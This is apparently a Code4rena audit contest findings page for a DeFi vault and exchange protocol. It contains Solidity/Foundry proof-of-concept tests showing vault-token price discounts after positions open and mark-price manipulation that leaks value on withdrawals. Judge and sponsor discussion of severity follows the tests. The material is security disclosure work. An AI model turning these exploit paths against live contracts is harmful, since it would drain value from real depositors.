Platform: Code4rena
Start Date: 13/03/2023
Pot Size: $72,500 USDC
Total HM: 33
Participants: 35
Period: 7 days
Judge: Dravee
Total Solo HM: 16
Id: 222
League: ETH
Rank: 7/35
Findings: 3
Award: $3,039.76
π Selected for report: 2
π Solo Findings: 2
π Selected for report: GalloDaSballo
1041.6924 USDC - $1,041.69
Judge has assessed an item in Issue #74 as 3 risk. The relevant finding follows:
Exchange Rate can be manipulated if positions are big enough for a long enough time
#0 - c4-judge
2023-03-27T00:11:41Z
JustDravee marked the issue as primary issue
#1 - c4-sponsor
2023-04-03T06:41:59Z
mubaris marked the issue as sponsor disputed
#2 - c4-sponsor
2023-04-03T06:42:11Z
mubaris marked the issue as disagree with severity
#3 - JustDravee
2023-04-07T12:03:39Z
Would like more input from the sponsor @mubaris on this one.
Going back to the definitions:
QA (Quality Assurance) Includes both Non-critical (code style, clarity, syntax, versioning, off-chain monitoring (events, etc) and Low risk (e.g. assets are not at risk: state handling, function incorrect as to spec, issues with comments). Excludes Gas optimizations, which are submitted and judged separately. 2 β Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements. 3 β High: Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals).
The attack path being an edge case on the assets that's valid but unlikely, I believe Medium Severity to still be right. Even if not "Sponsor Confirmed", this could be an acknowledged bug
#4 - mubaris
2023-04-22T06:45:29Z
Medium severity seems fair
#5 - c4-sponsor
2023-04-22T06:45:34Z
mubaris marked the issue as sponsor confirmed
#6 - c4-judge
2023-04-22T17:58:21Z
JustDravee changed the severity to 2 (Med Risk)
#7 - c4-judge
2023-05-02T20:47:15Z
JustDravee marked the issue as satisfactory
#8 - c4-judge
2023-05-05T12:37:44Z
JustDravee marked the issue as selected for report
π Selected for report: GalloDaSballo
1041.6924 USDC - $1,041.69
function getTokenPrice() public view returns (uint256) { if (totalFunds == 0) { return 1e18; } uint256 totalSupply = getTotalSupply(); if (positionData.positionId == 0) { return totalFunds.divWadDown(totalSupply); }
After a deposit, the funds are invested, doing so incurs a fee, which causes getTokenPrice
to reduce, this offers a discount to later depositors
Because the fee impacts the token price, future depositors will be able to purchase the Vault token at a discount
This gives them an advantage as they'll be receiving yield without incurring the additional cost
The following POC is built by creating a new test file TestRebaseAttack.t.t.sol
The salient output from the test is the following
ββ emit Debug(name: tokenPrice, value: 1000000000000000000) ββ emit Debug(name: newTokenPrice, value: 998684000000000000)
Which means that after creating the position to be delta neutral, due to fees being paid, the price of the token is lower, meaning it's cheaper to deposit after openPosition
instead of before.
Below the full code for you to verify:
Can be run with
forge test --match-test testOpenRebaseAttack -vvvvv
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import {console2} from "forge-std/console2.sol"; import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol"; import {Exchange} from "../src/Exchange.sol"; import {TestSystem} from "./utils/TestSystem.sol"; import {KangarooVault} from "../src/KangarooVault.sol"; import {MockERC20Fail} from "../src/test-helpers/MockERC20Fail.sol"; import {LiquidityPool} from "../src/LiquidityPool.sol"; import {IPerpsV2MarketBaseTypes} from "../src/interfaces/synthetix/IPerpsV2MarketBaseTypes.sol"; contract TestRebaseAttack is TestSystem { using FixedPointMathLib for uint256; uint256 public constant initialPrice = 1200e18; Exchange private exchange; MockERC20Fail private susd; KangarooVault private kangaroo; LiquidityPool private pool; uint256 private leverage; uint256 private collRatio; bytes[] private emptyData; function setUp() public { deployTestSystem(); initPool(); initExchange(); preparePool(); setAssetPrice(initialPrice); initKangaroo(); exchange = getExchange(); susd = getSUSD(); kangaroo = getKangaroo(); pool = getPool(); susd.mint(user_1, 5e23); vm.startPrank(user_1); susd.approve(address(kangaroo), 5e23); kangaroo.initiateDeposit(user_1, 1e23); vm.stopPrank(); leverage = kangaroo.leverage(); collRatio = kangaroo.collRatio(); } event Debug(string name, uint256 value); function testOpenRebaseAttack() public { uint256 tokenPrice = kangaroo.getTokenPrice(); assertEq(tokenPrice, 1e18, "!1e18"); kangaroo.openPosition(1e19, 0); uint256 newTokenPrice = kangaroo.getTokenPrice(); vm.startPrank(user_1); kangaroo.initiateDeposit(user_1, 1e18); vm.stopPrank(); emit Debug("tokenPrice", tokenPrice); emit Debug("newTokenPrice", newTokenPrice); assertTrue(tokenPrice != newTokenPrice, "No change"); } }
It may be best to have a deposit or withdrawal fee that evens out the hedging costs as not to discourage early depositors
#0 - mubaris
2023-04-05T08:41:39Z
Token price is meant to go down after you open a position, that's how it's supposed to work
#1 - c4-sponsor
2023-04-05T08:41:44Z
mubaris marked the issue as sponsor disputed
#2 - c4-sponsor
2023-04-05T08:41:51Z
mubaris requested judge review
#3 - JustDravee
2023-04-07T02:44:33Z
Token price is meant to go down after you open a position, that's how it's supposed to work
Very hard to argue with such an argument. If the warden can think of some counter-arguments in Post-Judging QA, I'll be open to hear them.
#4 - c4-judge
2023-04-07T02:44:40Z
JustDravee marked the issue as unsatisfactory: Invalid
#5 - GalloDaSballo
2023-05-03T16:39:16Z
Thank you for the opportunity to add more info, I believe the initial submission show that the price for consecutive depositors is cheaper, for example if we let a big deposit happen, then we will get more tokens for less cost
The updated tests simply has a second depositor instead of checking the price, you can see that if I deposit as the second person I get 5 times more tokens
function testOpenRebaseAttack() public { uint256 tokenPrice = kangaroo.getTokenPrice(); assertEq(tokenPrice, 1e18, "!1e18"); kangaroo.openPosition(1e19, 0); uint256 newTokenPrice = kangaroo.getTokenPrice(); vm.startPrank(user_2); kangaroo.initiateDeposit(user_2, 5e23); vm.stopPrank(); kangaroo.processDepositQueue(1); emit Debug("tokenPrice", tokenPrice); emit Debug("newTokenPrice", newTokenPrice); emit Debug("VAULT_TOKEN.balanceOf(user_2)", VAULT_TOKEN.balanceOf(user_2)); emit Debug("VAULT_TOKEN.balanceOf(user_1))", VAULT_TOKEN.balanceOf(user_1)); assertTrue(tokenPrice != newTokenPrice, "No change"); assertTrue(VAULT_TOKEN.balanceOf(user_2) > VAULT_TOKEN.balanceOf(user_1)); }
Log shows that I get 5e23 tokens vs 1e23
ββ emit Debug(name: tokenPrice, value: 1000000000000000000) ββ emit Debug(name: newTokenPrice, value: 998684000000000000) ββ [542] VaultToken::balanceOf(0x53E2Cd188FE5E37D9bA9D267828B6be3975801D5) [staticcall] β ββ β 500658867069062886758974 ββ emit Debug(name: VAULT_TOKEN.balanceOf(user_2), value: 500658867069062886758974) ββ [2542] VaultToken::balanceOf(0xe5ecc448cf264e5AB26D08C16e33263eF9E91676) [staticcall] β ββ β 100000000000000000000000 ββ emit Debug(name: VAULT_TOKEN.balanceOf(user_1)), value: 100000000000000000000000) ββ [542] VaultToken::balanceOf(0xe5ecc448cf264e5AB26D08C16e33263eF9E91676) [staticcall] β ββ β 100000000000000000000000 ββ [542] VaultToken::balanceOf(0x53E2Cd188FE5E37D9bA9D267828B6be3975801D5) [staticcall] β ββ β 500658867069062886758974 ββ β ()
#6 - mubaris
2023-05-04T05:15:14Z
What you're saying is true, but token price reflects the price of each token against the total asset held by the vault. Once you pay fee for an action like trading, that fee is lost forever from the vault. If we start accounting that (some value that doesn't exist), we'll run in to accounting errors down the line. So it doesn't make sense to add the fees paid by the vault in value held by the vault.
It is also true that, the second user gets much more tokens than the first user. But any funds added to the vault gets used for opening a new position and the user has stay in the vault until the new position becomes profitable to be profitable. There's no immediate exit process here. We use the same mechanism for our options vaults which has been live for a while now.
#7 - c4-sponsor
2023-05-04T05:48:00Z
mubaris marked the issue as sponsor acknowledged
#8 - c4-judge
2023-05-05T10:52:25Z
JustDravee marked the issue as satisfactory
#9 - c4-judge
2023-05-05T12:40:08Z
JustDravee marked the issue as selected for report
π Selected for report: rbserver
Also found by: 0xSmartContract, DadeKuma, GalloDaSballo, PaludoX0, RaymondFam, Rolezn, Sathish9098, adriro, auditor0517, bin2chen, btk, joestakey, juancito
956.382 USDC - $956.38
The following report lists a few high impact QA items for the codebase
The following criteria are used for suggested severity
L - Low Severity -> Some risk
R - Refactoring -> Suggested changes for improvements
If exchangeRate can be maniupulated, then this can be used to extract value or grief withdrawals from the KangarooVault
From my experimentation, the values to manipulate the share price are very high, making the attack fairly unlikely.
That said, by manipulating markPrice
we can get maniupulateΒ getTokenPrice
, which will cause a leak of value in withdrawals
This requires a fairly laborious setup (enough time has passed, from fairly thorough testing we need at least 1 week) And also requires a very high amount of capital (1 billion in the example, I think 100MLN works as well)
See POC below:
Can be run via forge test --match-test testFundingRateDoesChange -vvvvv
After creating a new test file TestExchangeAttack.t.sol
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import {console2} from "forge-std/console2.sol"; import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol"; import {TestSystem} from "./utils/TestSystem.sol"; import {Exchange} from "../src/Exchange.sol"; import {LiquidityPool} from "../src/LiquidityPool.sol"; import {PowerPerp} from "../src/PowerPerp.sol"; import {ShortToken} from "../src/ShortToken.sol"; import {ShortCollateral} from "../src/ShortCollateral.sol"; import {MockERC20Fail} from "../src/test-helpers/MockERC20Fail.sol"; contract TestExchangeAttack is TestSystem { using FixedPointMathLib for uint256; uint256 public constant initialPrice = 1200e18; Exchange private exchange; PowerPerp private powerPerp; ShortToken private shortToken; ShortCollateral private shortCollateral; MockERC20Fail private susd; LiquidityPool private pool; function setUp() public { deployTestSystem(); initPool(); initExchange(); preparePool(); setAssetPrice(initialPrice); exchange = getExchange(); powerPerp = getPowerPerp(); shortToken = getShortToken(); shortCollateral = getShortCollateral(); susd = getSUSD(); pool = getPool(); } function testDeployment() public { exchange.refresh(); _testDeployment(); } event Debug(string name, uint256 value); function testFundingRateDoesChange() public { (uint256 price,) = exchange.getIndexPrice(); (uint256 markPrice,) = exchange.getMarkPrice(); (int256 fundingRate,) = exchange.getFundingRate(); assertEq(fundingRate, 0); deposit(1e40, user_3); // 10e26 = 1 Billion openLong(1e26, 1e34, user_2); // openShort(1e20, user_1); vm.warp(block.timestamp + 20 weeks); (int256 newFundingRate,) = exchange.getFundingRate(); emit Debug("fundingRate", uint256(fundingRate)); emit Debug("newFundingRate", uint256(newFundingRate)); assertTrue(fundingRate != newFundingRate, "newFundingRate has not changed"); (uint256 newMarkPrice,) = exchange.getMarkPrice(); emit Debug("markPrice", markPrice); emit Debug("newMarkPrice", newMarkPrice); assertTrue(markPrice != newMarkPrice, "price has not changed"); } function deposit(uint256 amount, address user) internal { susd.mint(user, amount); vm.startPrank(user); susd.approve(address(getPool()), amount); pool.deposit(amount, user); vm.stopPrank(); } function openLong(uint256 amount, uint256 maxCost, address user) internal { susd.mint(user, maxCost); Exchange.TradeParams memory tradeParams; tradeParams.isLong = true; tradeParams.amount = amount; tradeParams.maxCost = maxCost; vm.startPrank(user); susd.approve(address(getPool()), maxCost); exchange.openTrade(tradeParams); vm.stopPrank(); } function closeLong(uint256 amount, uint256 minCost, address user) internal { require(powerPerp.balanceOf(user) == amount); Exchange.TradeParams memory tradeParams; tradeParams.isLong = true; tradeParams.amount = amount; tradeParams.minCost = minCost; vm.prank(user); exchange.closeTrade(tradeParams); } function openShort(uint256 amount, address user) internal returns (uint256 positionId, Exchange.TradeParams memory tradeParams) { uint256 collateral = shortCollateral.getMinCollateral(amount, address(susd)); susd.mint(user, collateral); tradeParams.amount = amount; tradeParams.collateral = address(susd); tradeParams.collateralAmount = collateral; tradeParams.minCost = 0; vm.startPrank(user); susd.approve(address(exchange), collateral); (positionId,) = exchange.openTrade(tradeParams); vm.stopPrank(); } function openShort(uint256 positionId, uint256 amount, uint256 collateral, address user) internal { Exchange.TradeParams memory tradeParams; susd.mint(user, collateral); tradeParams.positionId = positionId; tradeParams.amount = amount; tradeParams.collateral = address(susd); tradeParams.collateralAmount = collateral; tradeParams.minCost = 0; vm.startPrank(user); susd.approve(address(exchange), collateral); (positionId,) = exchange.openTrade(tradeParams); vm.stopPrank(); } function closeShort(uint256 positionId, uint256 amount, uint256 maxCost, uint256 collAmt, address user) internal returns (Exchange.TradeParams memory tradeParams) { require(shortToken.ownerOf(positionId) == user); susd.mint(user, maxCost); (, uint256 shortAmount, uint256 collateralAmount, address collateral) = shortToken.shortPositions(positionId); tradeParams.amount = amount > shortAmount ? shortAmount : amount; tradeParams.collateral = collateral; tradeParams.collateralAmount = collAmt > collateralAmount ? collateralAmount : collAmt; tradeParams.maxCost = maxCost; tradeParams.positionId = positionId; vm.startPrank(user); susd.approve(address(getPool()), maxCost); exchange.closeTrade(tradeParams); vm.stopPrank(); } }
As you can see we can move the markPrice, which will impact the valuation of the KangarooShares during withdrawals
β ββ β 719999999999999999280, false ββ emit Debug(name: markPrice, value: 720000000000000000000) ββ emit Debug(name: newMarkPrice, value: 719999999999999999280) ββ β ()
This can help setup a "withdrawal" only mode in which trades that have been created can be closed as intended
Change
whenNotPaused("EXCHANGE_TRADE")
To
whenNotPaused("EXCHANGE_TRADE_CLOSE")
saveToken
functionSome protocols will target top TVL contracts and accounts as a way to distribute their tokens initially.
Because the Vault and LiquidityPool don't have a sweep function for random tokens, Aidrops may be lost.
While it's fine not to add the extra complexity, it's important to consider the risk of missing out on airdrops, which could impact end users and their opportunity cost
By chunking up a trade into smaller ones, the max deposit amount can be gamed
Consider adding a global total deposits tracker if you wish to have a guarded launch with limited value at risk
The goal for capping deposit is typically a risk-aware launch-strategy
There's no check using maxDepositAmount
which means that there's no way to limit deposits
immutable
valuesVAULT_TOKEN = _vaultToken; EXCHANGE = _exchange; LIQUIDITY_POOL = _pool; PERP_MARKET = _perpMarket; UNDERLYING_SYNTH_KEY = _underlyingKey; name = _name; SUSD = _susd;
/// @notice Set Price Impact Delta /// @param _delta New Price Impact Delta function setPriceImpactDelta(uint256 _delta) external requiresAuth { emit UpdatePriceImpactDelta(perpPriceImpact, _delta); perpPriceImpact = _delta; }
SUSD
/// @notice sUSD / Quote token instance ERC20 public SUSD;
256 is typically good enough to test edge cases, but may not be sufficient to find very specific issues that happen with odd combinations
It may be best to have a separate fuzzing branch with 10s of thousands of runs
#0 - JustDravee
2023-03-27T00:10:45Z
2 β Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements. 3 β High: Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals).
I believe this could enter as high. We should here be with "Assets at risk indirectly with a valid attack path that does not have hand-wavy hypotheticals". An edge case, but valid.
Rest is valid/true.
High signal report.
#1 - c4-judge
2023-05-03T03:34:13Z
JustDravee marked the issue as grade-a